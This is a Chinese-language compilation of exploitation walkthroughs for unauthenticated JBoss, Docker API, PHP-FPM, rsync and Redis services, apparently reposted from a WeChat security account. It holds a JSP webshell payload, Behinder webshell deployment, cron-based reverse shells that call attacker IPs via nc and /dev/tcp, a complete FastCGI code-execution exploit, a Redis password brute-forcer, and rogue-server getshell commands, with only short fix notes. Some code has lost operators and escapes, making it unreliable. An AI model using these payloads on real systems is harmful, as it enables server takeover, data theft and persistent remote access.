漏洞汇总
jboss未授权访问漏洞
漏洞描述
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能
未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件
影响版本
jboss 4.x以下
环境搭建
使用docker搭建的靶场,访问页面 your-ip:8080
漏洞检测
漏洞复现
1.写入一句话木马
http://ip/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
url中的参数: arg0代表war包的名称,arg1=文件名称,arg2=文件后缀名,arg3=文件内容
将arg3的中值取出来并进行url解码后为
<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“/”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %>
这个语句的功能是写入文件,f=文件名,t=文件内容,执行后回显
写入1.txt文件
http://ip:8080/August/shell.jsp?f=1.txt&t=hello%20world!
访问1.txt文件,成功写入文件,这里也可以写入一句话木拉,然后使用一句话木马管理工具进行连接
2.上传木马
1.发现jboss默认页面,点击进入控制页面
2.点击jboss.deployment进入应用部署页面,如果需要登录可以尝试爆破弱口令登录 (admin/admin)
3.这里使用phpstudy搭建远程木马服务器
4.使用冰蝎马生成war包 ,将war包放在 /www/目录下
冰蝎马生成
java -jvf shell.war shell.jsp
5.使用addurl参数进行木马的远程部署
回显页面
6.查看是否有部署成功,返回刚进入的jmx-console页面,找到 jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可
7.访问 your-ip:8080/shell,说明成功部署
8.使用冰蝎连接 默认密码为(rebeyond)
docker未授权访问漏洞
漏洞简介
Docker Remote API是一个取代远程命令行界面(rcli)的REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。
docker swarm是docker下的分布化应用的本地集群,在开放2375端口监听集群容器时,会调用这个api
漏洞成因
1. dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375
2. docker守护进程监听在0.0.0.0,外网可访问
3.没有使用iptable等限制可连接的来源ip。
漏洞检测
输入地址 http://your-ip:2375/version,若能访问,证明存在未授权访问漏洞
使用命令行获取信息(docker环境下)
docker -H tcp://192.168.1.7:2375 images //获取镜像信息
docker -H tcp://192.168.1.7:2375 run 28f6e2705743 //启动docker容器
docker -H tcp://192.168.1.7:2375 ps -a //获取容器信息
docker -H tcp://192.168.1.7:2375 //关闭容器
利用方法
随意启动一个容器,并将宿主机的 / 目录挂载到容器的 /mnt目录,这样就可以操作宿主机中的文件了
docker -H tcp://192.168.1.7:2375 run -it -v /:/mnt 28f6e2705743 /bin/sh
攻击机监听
root@kali:~# nc -lvvp 6666
listening on [any] 6666 ...
写入就计划任务,反弹shell
echo "* * * * * /usr/bin/nc 192.168.83.100 6666 -e /bin/sh" /mnt/etc/crontabs/root
成功反弹shell
进入容器查看定时任务,*/15的意思为每15分钟执行一次
也可以使用工具进行反弹shell
client 改为存在漏洞的ip地址
data 将ip改为反弹shell的地址
定时任务每15分钟执行一次
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e
/bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode':
'rw'}})
修复方法
1)配置acl,Docker Remote API不要绑定到0.0.0.0。
2)修改docker swarm的认证方式,使用TLS认证。
PHP-FPM Fastcgi 未授权访问漏洞
Fastcgi
Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议
PHP-FPM
PHP-FPM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好传给FPM。FPM按照fastcgi的协议将TCP流解析成真正的数据。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。
用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php
security.limit_extensions配置
此时,SCRIPT_FILENAME的值就格外重要了。因为fpm是根据这个值来执行php文件的,如果这个文件不存在,fpm会直接返回404。在fpm某个版本之前,我们可以将SCRIPT_FILENAME的值指定为任意后缀文件,比如/etc/passwd。但后来,fpm的默认配置中增加了一个选项security.limit_extensions。其限定了只有某些后缀的文件允许被fpm执行,默认是.php。所以,当我们再传入/etc/passwd的时候,将会返回Access denied。由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php
任意代码执行
PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。
那么假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)
那么,如何设置auto_prepend_file的值?这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)所以,我们最后传入如下环境变量
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
复现
使用exp
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION)
+ bchr(fcgi_type)
+ bchr((requestid 8) & 0xFF)
+ bchr(requestid & 0xFF)
+ bchr((length 8) & 0xFF)
+ bchr(length & 0xFF)
+ bchr(0)
+ bchr(0)
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen 24) | 0x80)
+ bchr((nLen >> 16) & 0xFF)
+ bchr((nLen >> 8) & 0xFF)
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80)
+ bchr((vLen 16) & 0xFF)
+ bchr((vLen 8) & 0xFF)
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0)
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER)
+ bchr(self.keepalive)
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
使用
使用命令执行一个默认存在的php文件
python fpm.py your-ip /usr/local/lib/php/PEAR.php
任意命令执行
python fpm.py 192.168.1.7 /usr/local/lib/php/PEAR.php -c '<?php echo `pwd`; ?>'
rsync未授权访问漏洞
漏洞简介
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或 访问密码,我们将可以读写目标服务器文件。
rsync未授权访问带来的危害主要有两个:一个造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行
rsync配置文件
该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以利用该权限写马或者写一句话,从而拿到shell。
看一下配置文件的网相关选项(/etc/rsync.conf)
这一项read only表示只读,如果这一项为no,就具有写权限了
( 使用docker搭建的vulhub靶场的rsyncd.conf配置文件 )
根据以上配置文件发现,我们可以访问path所指定目录以外的目录,该配置还定义了一个src模块,路径指向根目录,而且可读可写,最重要的是没有设置用户名,如此便无需密码直接访问rsync
配置参数说明
motd file -> motd文件位置
log file -> 日志文件位置
path -> 默认路径位置
use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录
read only -> 只读配置(yes or no)
list=true -> 是否可以列出模块名
uid = root -> 传输使用的用户名
gid = root -> 传输使用的用户组
auth users -> 认证用户名
secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password
hosts allow=192.168.0.101 -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开
hosts deny 禁止的主机,host的两项可以使用*表任意。
利用方式
rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他扫描端口工具对目标进行端口扫描,当检测到目标服务器开启873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件
使用nmap扫描目标系统是否开放rsync服务
nmap -p 873 --script rsync-list-modules 192.168.1.7
列出目标服务器的同步记录
rsync ip::
rsync rsync://ip:873
查看模块文件
获取到目录之后,只需在路径后添加目录名即可查看目录中的文件
这里查看src目录
下载任意目录文件
rsync -av ip::src
假如下载/etc/passwd文件到 /opt/目录下
查看passwd.txt文件
也可以向目标系统上传任意文件
rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1
//rsync -av 文件路径 rsync://ip:873/目标系统文件路径
反弹shell
1.下载cron定时任务配置文件并查看任务内容
rsync -av rsync://ip/src/etc/crontab crontab.txt
cat crontab.txt
//17 * * * * root cd / && run-parts --report /etc/cron.hourly
//表示17分钟会启动/etc/cron.hourly目录下文件的任务
2.攻击机创建一个shell文件
touch shell
//文件写入反弹shell命令
/bin/bash -i >& /dev/tcp/192.168.1.6/4444 0>&1
3.传入 /etc/cron.hourly目录下,写入到 cron.hourly下文件的任务就会启动
rsync -av shell rsync://ip:873/src/etc/cron.hourly
4.使用vps(windows)监听4444端口,等待17分钟后,接收反弹的shell
修复建议
更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置auth users ,将模块设置成只读。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。
Redis未授权访问漏洞
redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。
Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
影响版本
影响版本 Redis 4.x/5.0.5以前版本
环境搭建
使用docker搭建的vulhub靶场
漏洞检测
redis 未授权批量检测工具脚本,该脚本支持弱口令检测。
#!/usr/bin/python2
# -*- coding: utf-8 -*-
import socket
import sys
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFOrn")
result = s.recv(1024)
if "redis_version" in result:
return u"[+] IP:{0}存在未授权访问".format(ip)
elif "Authentication" in result:
with open('pass.txt','r') as p:
passwds = p.readlines()
for passwd in passwds:
passwd = passwd.strip("n")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %srn" %(passwd))
# print u"[HACKING] hacking to passwd --> "+passwd
result = s.recv(1024)
if 'OK' in result:
return u"[+] IP:{0} 存在弱口令,密码:{1}".format(ip,passwd)
else:pass
else:pass
s.close()
except Exception, e:
return u"[+] IP:{0}已过滤".format(ip)
pass
if __name__ == '__main__':
port="6379"
with open('IP.txt','r') as f:
ips = f.readlines()
for i in ips:
ip = i.strip("n")
result = check(ip,port,timeout=10)
print(result)
在该脚本同目录下新建IP.txt导入要检测的目标IP,格式如:
192.168.126.128
192.168.126.129
192.168.126.130
192.168.126.131
...
在脚本同目录下新建pass.txt导入弱口令字典,格式如下:
redis
root
oracle
password
p@ssw0rd
abc123!
123456
admin
abc123
...
使用工具检测命令
python redis-scan.py
漏洞复现
linux下载redis-cli远程连接工具
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make //使用make编译后进入 /src/文件夹下面
cp src/redis-cli /usr/bin/ //拷贝文件到 /usr/bin 目录下,然后任意目录都可以使用 redis-cli 远程连接命令
-h // -h 后面跟ip地址
使用redis-cli命令直接远程免密登录redis主机
# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码
如果可以连接说明存在未授权访问漏洞
linux 安装redis-getShell工具
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd RedisModulesSDK/
make
//克隆成功后使用cd命令切换到RedisModulesSDK 使用 make 命令进行编译,编译后回到 redis-rogue-getshell/ 目录下
利用此工具进行getshell,执行任意命令
# 工具命令格式:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "要执行的命令"
# 工具命令示例:
python3 redis-master.py -r 192.168.126.130 -p 6379 -L 192.168.126.128 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"
利用工具下载地址 (https://github.com/n0b0dyCN/redis-rogue-server)
最后贴一个未授权访问漏洞的利用工具 (下载地址:https://github.com/joaomatosf/jexboss/archive/master.zip)
本文始发于微信公众号(黑白天实验室):常见的未授权访问漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论